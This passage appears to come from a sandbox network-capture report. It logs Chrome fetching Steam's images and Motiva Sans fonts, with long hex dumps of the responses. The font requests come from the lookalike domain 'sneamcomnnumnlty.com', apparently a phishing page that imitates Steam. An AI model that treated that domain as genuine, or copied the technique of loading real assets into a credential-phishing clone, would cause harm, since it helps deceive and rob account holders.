2024-10-06 11:21:00 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1278 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-4fe" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close X-N: S
2024-10-06 11:21:00 UTC	1278	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 55 56 5c c9 ca cc c8 c9 cb ae af b2 52 54 5a ee ef ef fc fc fc 54 56 5c 50 52 58 e2 e3 e4 d9 d9 db 87 89 8d 38 3a 41 5c 5d 63 e8 e8 e9 f2 f2 f3 93 94 98 d7 d7 d8 fa fa fa a3 a4 a7 be bf c1 e1 e1 e2 96 97 9b d4 d5 d6 9d 9e a1 ec ec ed f3 f3 f4 94 95 99 42 44 4b 41 43 49 ff ff ff 35 37 3e 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 Data Ascii: GIF89aUV\RTZTV\PRX8:A\]cBDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49833	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	390	OUT	GET /public/images/v6/logo_steam_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2843 Last-Modified: Thu, 18 Jun 2020 23:12:51 GMT ETag: "5eebf4f3-b1b" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	2843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 cc 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR\:;)pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49828	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	678	OUT	GET /public/shared/fonts/MotivaSans-Bold.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 123884 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1e3ec" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 e3 e4 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 44 f4 60 3e 00 00 01 6c 00 00 75 e8 47 53 55 42 e1 64 c1 db 00 00 77 54 00 00 1b a4 4f 53 2f 32 76 62 a0 f8 00 00 92 f8 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 93 58 00 00 05 8e 63 76 74 20 48 67 0b 08 00 01 d4 2c 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d4 f4 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 d4 24 00 00 00 08 67 6c 79 66 cf 0e c7 af 00 00 98 e8 00 01 06 58 68 65 61 64 18 0f fb 61 00 01 9f 40 00 00 00 36 68 68 65 61 07 19 06 92 00 01 9f 78 00 00 00 24 68 6d 74 78 b4 4e 4c 2e 00 01 9f 9c 00 00 0c e6 6c 6f 63 61 7b 9c 3a 94 00 01 ac 84 00 00 06 a6 6d 61 78 70 04 a0 0f 12 00 01 b3 2c 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOSD`>luGSUBdwTOS/2vb`cmapdXcvt Hg,fpgm6!gasp$glyfXheada@6hheax$hmtxNL.loca{:maxp, nam
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 06 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e9 ff fc 00 0c 00 00 00 13 00 00 00 19 00 06 00 00 00 00 00 00 00 00 ff ba ff cd 00 00 00 00 00 00 00 00 00 00 ff b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e6 ff fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 11:21:00 UTC	1810	IN	Data Raw: 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 Data Ascii:
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 0c 02 36 02 37 02 38 02 39 02 3a 02 3b 02 3c 02 3d 02 3e 02 3f 02 cc 02 ce 00 01 0a ec ff ec 00 01 0a f0 00 14 00 02 0a f4 00 16 02 40 02 41 02 42 02 43 02 44 02 45 02 46 02 47 02 48 02 49 02 54 02 55 02 56 02 57 02 58 02 59 02 5a 02 5b 02 5c 02 5d 02 d3 02 d4 00 02 0a de 00 df 01 77 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 7e 01 7f 01 80 01 81 01 82 01 83 01 84 01 85 01 86 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 ba 01 bb 01 bc 01 bd 01 be 01 bf 01 c0 01 c1 01 c3 01 c4 01 c5 01 c6 01 c8 01 c9 01 Data Ascii: 6789:;<=>?@ABCDEFGHITUVWXYZ[\]wxyz{\|}~
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 ad 00 00 00 03 03 22 01 c4 00 00 ff ff 00 05 00 00 02 7f 03 b5 00 22 00 ad 00 00 00 03 03 2b 02 74 00 00 ff ff 00 05 00 00 02 7f 03 61 00 22 00 ad 00 00 00 03 03 2a 02 03 00 00 ff ff 00 05 00 00 02 7f 03 93 00 22 00 ad 00 00 00 03 03 29 02 00 00 00 00 01 00 26 00 00 02 4c 02 bc 00 09 00 29 40 26 00 01 02 03 05 01 01 00 02 4c 00 02 02 03 5f 00 03 03 48 4d 00 00 00 01 5f 00 01 01 49 01 4e 11 12 11 11 04 0a 1a 2b 01 01 21 15 21 35 01 21 35 21 02 3e fe 9c 01 72 fd da 01 63 fe ae 02 07 02 5c fe 22 7e 65 01 d9 7e ff ff 00 26 00 00 02 4c 03 8c 00 22 00 b6 00 00 00 03 03 23 02 1d 00 00 ff ff 00 26 00 00 02 4c 03 8c 00 22 00 b6 00 00 00 03 03 26 01 ea 00 00 ff ff 00 26 00 00 02 4c 03 98 00 22 00 b6 00 00 00 03 03 21 01 cb 00 00 00 02 00 24 ff f0 02 25 02 1c 00 Data Ascii: ""+ta"*")&L)@&L_HM_IN+!!5!5!>rc\"~e~&L"#&L"&&L"!$%
2024-10-06 11:21:00 UTC	7952	IN	Data Raw: 08 00 07 21 06 08 17 2b 33 11 33 32 16 15 14 06 23 27 32 36 35 34 26 23 23 11 4b d4 86 9c 9c 86 0c 50 50 50 50 3c 02 3a 8a 8d 94 8f 72 55 5a 55 51 fe ab 00 00 02 00 20 00 00 02 41 02 3a 00 0c 00 19 00 3f 40 3c 06 01 03 07 01 02 04 03 02 67 00 05 05 00 5f 08 01 00 00 2c 4d 09 01 04 04 01 5f 00 01 01 2d 01 4e 0e 0d 01 00 18 17 16 15 14 12 0d 19 0e 19 0b 0a 09 08 07 05 00 0c 01 0c 0a 08 16 2b 01 32 16 15 14 06 23 23 35 23 35 33 11 13 32 36 35 34 26 23 23 15 33 15 23 15 01 1f 86 9c 9c 86 d4 2b 2b c8 50 50 50 50 3c 59 59 02 3a 8a 8d 94 8f f3 46 01 01 fe 38 55 5a 55 51 8e 46 81 00 00 00 ff ff 00 4b 00 00 02 41 03 06 00 22 01 96 00 00 01 07 03 39 01 db 00 2e 00 08 b1 02 01 b0 2e b0 35 2b 00 00 ff ff 00 20 00 00 02 41 02 3a 00 02 01 97 00 00 00 01 00 4b 00 00 01 Data Ascii: !+332#'2654&##KPPPP<:rUZUQ A:?@<g_,M_-N+2##5#532654&##3#++PPPP<YY:F8UZUQFKA"9..5+ A:K
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 10 04 04 2f 2e 2b 29 26 25 21 1f 10 1b 10 1a 16 14 04 0f 04 0e 25 11 10 0c 08 19 2b 13 21 15 21 16 26 35 34 36 33 32 16 15 14 06 23 32 26 35 34 36 33 32 16 15 14 06 23 13 14 06 06 23 22 26 26 35 11 33 11 14 16 33 32 36 35 11 33 b9 01 0d fe f3 0a 25 25 1c 1c 23 24 1b a4 25 25 1d 1b 23 23 1b 89 3f 6d 43 43 6d 3f 86 37 32 32 37 86 03 70 46 ac 20 20 21 20 20 21 20 20 20 20 21 20 20 21 20 20 fe 5c 4d 69 34 34 69 4d 01 60 fe 96 2d 36 36 2d 01 6a ff ff 00 4b ff 45 02 29 02 3a 00 22 02 04 00 00 00 03 03 41 01 ea 00 00 ff ff 00 4b ff f0 02 29 03 0a 00 22 02 04 00 00 01 07 03 35 01 b5 00 2e 00 08 b1 01 01 b0 2e b0 35 2b 00 00 ff ff 00 4b ff f0 02 29 03 32 00 22 02 04 00 00 01 07 03 3e 03 14 00 2e 00 08 b1 01 01 b0 2e b0 35 2b 00 00 00 01 00 4b ff f0 02 96 02 b0 00 Data Ascii: /.+)&%!%+!!&54632#2&54632##"&&5332653%%#$%%##?mCCm?7227pF ! ! ! ! \Mi44iM`-66-jKE):"AK)"5..5+K)2">..5+K
2024-10-06 11:21:00 UTC	6900	IN	Data Raw: 27 36 36 33 32 16 15 14 06 07 06 06 15 15 23 16 26 35 34 36 33 32 16 15 14 06 23 a5 21 21 1a 18 28 24 38 34 34 24 64 36 56 61 2a 27 1d 1d 72 18 2e 2e 21 21 2d 2c 22 dd 28 30 1e 17 20 17 1e 1e 26 5a 19 1f 4c 42 2d 3b 22 19 24 17 15 d5 26 24 23 27 27 23 24 26 00 00 00 02 00 2d ff 85 01 a2 01 db 00 0b 00 26 00 3e 40 3b 17 01 02 04 18 01 03 02 02 4c 00 04 00 02 00 04 02 80 05 01 01 00 00 04 01 00 69 00 02 03 03 02 59 00 02 02 03 62 00 03 02 03 52 00 00 26 25 1c 1a 16 14 00 0b 00 0a 24 06 08 17 2b 00 16 15 14 06 23 22 26 35 34 36 33 17 14 06 07 06 06 15 14 16 33 32 37 17 06 06 23 22 26 35 34 36 37 36 36 35 35 33 01 12 2e 2d 22 22 2c 2d 21 39 22 20 1a 18 28 24 3a 32 34 24 64 36 57 60 2a 27 1d 1d 72 01 db 27 23 24 26 26 24 23 27 eb 28 31 1c 17 20 17 1e 1e 26 5b Data Ascii: '6632#&54632#!!($844$d6Va'r..!!-,"(0 &ZLB-;"$&$#''#$&-&>@;LiYbR&%$+#"&5463327#"&546766553.-"",-!9" ($:24$d6W`'r'#$&&$#'(1 &[
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 26 26 23 17 32 16 15 14 06 07 17 23 27 23 15 23 11 17 15 33 32 36 35 34 23 01 f4 a7 63 63 a7 62 63 a6 63 63 a6 63 51 82 4b 4a 83 51 51 83 4a 4a 82 52 09 3f 41 22 1d 54 53 44 3d 47 48 3a 1a 1c 38 02 ca 59 a6 6d 6d a6 5a 5a a6 6d 6d a6 59 4c 48 83 55 57 84 47 47 84 57 57 82 47 65 3d 2f 23 33 0d 9a 85 85 01 69 45 5f 1b 16 2e 00 02 00 35 01 10 03 72 02 bc 00 07 00 14 00 3b 40 38 14 0f 0c 03 06 01 01 4c 00 06 01 02 01 06 02 80 03 01 01 01 00 5f 08 04 02 00 00 48 4d 07 05 02 02 02 00 5f 08 04 02 00 00 48 02 4e 11 12 12 11 11 11 11 11 10 09 0a 1f 2b 13 21 15 23 11 23 11 23 25 33 11 23 35 07 23 27 15 23 11 33 17 35 01 5b 77 6f 75 02 f3 4a 6f 5f 27 5d 6c 60 80 02 bc 68 fe bc 01 44 68 fe 54 e2 8f 8d e0 01 ac c7 00 00 00 00 02 00 26 01 86 01 6e 02 c0 00 0f 00 1b 00 Data Ascii: &&#2#'##32654#ccbccccQKJQQJJR?A"TSD=GH:8YmmZZmmYLHUWGGWWGe=/#3iE_.5r;@8L_HM_HN+!###%3#5#'#35[wouJo_']l`hDhT&n
2024-10-06 11:21:00 UTC	9196	IN	Data Raw: 72 06 54 63 61 72 6f 6e 07 75 6e 69 30 31 36 32 07 75 6e 69 30 32 31 41 06 55 62 72 65 76 65 07 75 6e 69 30 31 44 33 07 75 6e 69 30 31 44 37 07 75 6e 69 30 31 44 39 07 75 6e 69 30 31 44 42 07 75 6e 69 30 31 44 35 07 75 6e 69 31 45 45 34 07 75 6e 69 31 45 45 36 05 55 68 6f 72 6e 07 75 6e 69 31 45 45 38 07 75 6e 69 31 45 46 30 07 75 6e 69 31 45 45 41 07 75 6e 69 31 45 45 43 07 75 6e 69 31 45 45 45 0d 55 68 75 6e 67 61 72 75 6d 6c 61 75 74 07 55 6d 61 63 72 6f 6e 07 55 6f 67 6f 6e 65 6b 05 55 72 69 6e 67 06 55 74 69 6c 64 65 06 57 61 63 75 74 65 0b 57 63 69 72 63 75 6d 66 6c 65 78 09 57 64 69 65 72 65 73 69 73 06 57 67 72 61 76 65 0b 59 63 69 72 63 75 6d 66 6c 65 78 07 75 6e 69 31 45 46 34 06 59 67 72 61 76 65 07 75 6e 69 31 45 46 36 07 75 6e 69 30 32 33 32 Data Ascii: rTcaronuni0162uni021AUbreveuni01D3uni01D7uni01D9uni01DBuni01D5uni1EE4uni1EE6Uhornuni1EE8uni1EF0uni1EEAuni1EECuni1EEEUhungarumlautUmacronUogonekUringUtildeWacuteWcircumflexWdieresisWgraveYcircumflexuni1EF4Ygraveuni1EF6uni0232

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	49834	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	685	OUT	GET /public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 133600 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-209e0" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 02 09 d8 00 00 00 08 47 44 45 46 0b 7c 0d 40 00 00 01 2c 00 00 00 3a 47 50 4f 53 c5 b3 72 1c 00 00 01 68 00 00 8b 64 47 53 55 42 03 65 18 00 00 00 8c cc 00 00 1d 50 4f 53 2f 32 74 d3 9c f2 00 00 aa 1c 00 00 00 60 63 6d 61 70 c9 c4 e3 fb 00 00 aa 7c 00 00 05 96 63 76 74 20 46 74 09 1d 00 01 fa 20 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 fa e8 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 fa 18 00 00 00 08 67 6c 79 66 60 85 de 9d 00 00 b0 14 00 01 14 1c 68 65 61 64 17 e4 fb 31 00 01 c4 30 00 00 00 36 68 68 65 61 07 9d 09 cc 00 01 c4 68 00 00 00 24 68 6d 74 78 83 5b 4f 22 00 01 c4 8c 00 00 0c fe 6c 6f 63 61 70 a0 2b 90 00 01 d1 8c 00 00 06 b2 6d 61 78 70 04 a8 0f 1d 00 01 d8 40 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF\|@,:GPOSrhdGSUBePOS/2t`cmap\|cvt Ft fpgm6!gaspglyf`head106hheah$hmtx[O"locap+maxp@ nam
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 00 00 00 00 09 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 01 00 01 00 00 00 01 00 00 00 00 00 02 ff ff 00 00 00 00 00 00 ff ee 00 00 00 02 ff f9 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 12 ff ce 00 00 ff f7 ff ec 00 01 00 01 ff fa ff f7 ff e2 00 00 ff fe ff e1 00 04 00 00 00 05 00 00 00 02 ff d8 ff e0 ff ec 00 00 00 00 ff f7 ff ee ff f6 ff fc ff e1 ff cf ff e0 ff ea ff ec ff eb ff d2 ff f8 00 00 ff ed 00 04 ff fe ff f8 00 00 00 01 00 01 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 27 ff c9 ff f7 ff 89 ff ed ff Data Ascii: '
2024-10-06 11:21:00 UTC	3382	IN	Data Raw: 00 74 00 39 00 79 00 7c 00 3f 00 81 00 86 00 43 00 89 00 8d 00 49 00 9b 00 a0 00 4e 00 a6 00 b5 00 54 00 ce 00 ce 00 64 00 d1 00 f0 00 65 00 fa 01 0c 00 85 01 0f 01 12 00 98 01 14 01 14 00 9c 01 1a 01 1a 00 9d 01 1c 01 36 00 9e 01 38 01 3b 00 b9 01 43 01 47 00 bd 01 55 01 5a 00 c2 01 5d 01 5d 00 c8 01 60 01 65 00 c9 01 67 01 6f 00 cf 01 74 01 74 00 d8 01 78 01 79 00 d9 01 92 01 92 00 db 01 9e 01 af 00 dc 01 b1 01 b1 00 ee 01 b8 01 cd 00 ef 01 d2 01 d2 01 05 01 d6 01 dc 01 06 01 f5 01 f5 01 0d 02 15 02 1a 01 0e 02 20 02 20 01 14 02 27 02 2f 01 15 02 bd 02 bd 01 1e 02 bf 02 bf 01 1f 02 d0 02 d0 01 20 00 02 00 01 00 02 00 b9 00 00 00 02 00 02 01 7a 01 d3 00 00 01 d5 02 33 00 5a 00 02 00 09 02 9c 02 a0 00 00 02 a4 02 a5 00 05 02 a7 02 a7 00 07 02 a9 02 aa 00 Data Ascii: t9y\|?CINTde68;CGUZ]]`egottxy '/ z3Z
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 02 aa 02 aa 00 1e 02 ae 02 ae 00 1a 02 b0 02 b0 00 1f 02 b1 02 b1 00 24 02 b2 02 b2 00 18 02 b5 02 b8 00 14 02 b9 02 b9 00 1c 02 bd 02 bd 00 13 02 be 02 be 00 12 02 bf 02 bf 00 13 02 c0 02 c0 00 12 02 c1 02 c1 00 22 02 c3 02 c3 00 22 02 c5 02 c5 00 20 02 c6 02 c6 00 21 02 d0 02 d0 00 03 02 f4 02 f4 00 06 00 01 02 35 00 01 00 01 00 02 00 04 02 41 02 41 00 02 02 43 02 43 00 01 02 4b 02 4b 00 02 02 4d 02 4d 00 01 00 02 00 05 00 1b 00 20 00 01 00 38 00 3d 00 01 00 61 00 79 00 01 00 7c 00 7c 00 01 00 88 00 88 00 01 00 01 00 00 00 0a 02 4c 0c de 00 02 44 46 4c 54 00 0e 6c 61 74 6e 00 3e 00 04 00 00 00 00 ff ff 00 13 00 00 00 0b 00 16 00 21 00 2c 00 37 00 42 00 4d 00 61 00 6c 00 77 00 82 00 8d 00 98 00 a3 00 ae 00 b9 00 c4 00 cf 00 3a 00 09 41 5a 45 20 00 66 43 Data Ascii: $"" !5AACCKKMM 8=ay\|\|LDFLTlatn>!,7BMalw:AZE fC
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 03 72 00 22 00 7d 00 00 00 03 03 2c 01 d3 00 00 ff ff 00 1f ff 36 02 56 02 bc 00 22 00 7d 00 00 00 03 03 35 01 84 00 00 00 01 00 0c ff f4 02 3d 02 c9 00 29 00 34 40 31 17 01 02 01 18 03 02 00 02 02 01 03 00 03 4c 00 02 02 01 61 00 01 01 50 4d 00 00 00 03 61 04 01 03 03 51 03 4e 00 00 00 29 00 28 23 2e 24 05 0a 19 2b 16 26 27 37 16 33 32 36 36 35 34 26 26 27 2e 02 35 34 36 36 33 32 17 07 26 23 22 06 15 14 16 16 17 1e 02 15 14 06 06 23 ab 75 2a 28 5a 6a 41 53 26 26 3a 31 3b 4a 33 3a 75 52 79 5a 2c 51 5a 4e 5e 28 3b 33 3b 47 32 3d 7d 5c 0c 23 1d 41 37 27 3b 1f 20 2e 1f 15 1a 2a 47 33 35 5d 38 40 3f 36 44 33 21 30 20 16 1a 29 42 30 34 64 41 00 ff ff 00 0c ff f4 02 3d 03 72 00 22 00 81 00 00 00 03 03 29 02 5f 00 00 ff ff 00 0c ff f4 02 3d 03 72 00 22 00 81 00 Data Ascii: r"},6V"}5=)4@1LaPMaQN)(#.$+&'7326654&&'.546632&#"#u(ZjAS&&:1;J3:uRyZ,QZN^(;3;G2=}\#A7'; .G35]8@?6D3!0 )B04dA=r")_=r"
2024-10-06 11:21:00 UTC	7952	IN	Data Raw: 00 00 06 03 06 00 03 80 00 05 05 53 4d 00 07 07 4b 4d 00 06 06 03 62 00 03 03 51 4d 00 01 01 02 61 00 02 02 55 02 4e 59 59 40 0b 14 2a 23 28 2d 24 17 10 08 0a 1e 2b 24 33 32 37 07 06 06 15 14 33 32 37 07 06 23 22 26 35 34 36 37 26 26 35 34 37 23 06 06 23 22 26 35 34 37 36 35 34 26 23 22 07 37 36 33 32 16 15 14 06 07 06 06 15 14 16 33 32 36 36 37 37 33 07 06 02 15 01 d6 1a 06 0c 0b 21 2a 1f 07 10 07 0f 1a 23 25 2d 26 16 15 0e 04 21 69 3d 38 48 1e 13 0f 0d 0c 07 09 17 1a 21 21 0f 09 0a 11 2f 1f 29 54 46 11 1d 4b 1a 04 36 2b 02 30 23 46 1e 19 02 2d 06 22 1d 1f 4a 23 03 1a 1b 1e 3e 47 51 44 3c 2f a9 6c 10 0f 0c 01 30 07 1f 1c 12 5d 31 37 6a 16 2a 26 46 89 61 a6 8b 16 fe e7 15 00 ff ff 00 55 ff f3 02 2a 02 f7 00 22 01 48 00 00 00 03 03 21 00 9f 00 00 ff ff 00 Data Ascii: SMKMbQMaUNYY@#(-$+$327327#"&5467&&547##"&547654&#"76323266773!#%-&!i=8H!!/)TFK6+0#F-"J#>GQD</l0]17j&FaU"H!
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 13 25 24 07 08 1b 2b 00 17 07 26 26 23 22 06 06 15 14 16 33 32 36 37 37 23 37 33 07 06 06 23 22 26 35 34 36 36 33 01 ec 48 32 1c 4c 2d 46 6c 3c 54 51 2a 48 17 1a 9d 0c e7 2c 28 74 42 67 7a 5f 98 56 02 46 40 3a 19 1d 44 7c 51 5d 5e 19 14 98 3f f6 24 2c 79 7c 70 9e 4f 00 00 00 ff ff 00 32 ff f4 02 34 02 f2 00 22 01 b2 00 00 01 07 03 40 01 f4 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 32 ff f4 02 34 02 ef 00 22 01 b2 00 00 01 07 03 3f 01 f2 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 32 ff f4 02 34 02 f5 00 22 01 b2 00 00 01 07 03 3e 01 ec 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 32 ff 36 02 34 02 46 00 22 01 b2 00 00 00 03 03 48 01 9b 00 00 ff ff 00 32 ff f4 02 34 02 f5 00 22 01 b2 00 00 01 07 03 3a 01 a5 00 2d 00 08 b1 01 01 b0 2d Data Ascii: %$+&&#"32677#73#"&54663H2L-Fl<TQ*H,(tBgz_VF@:D\|Q]^?$,y\|pO24"@--5+24"?--5+24">--5+264F"H24":--
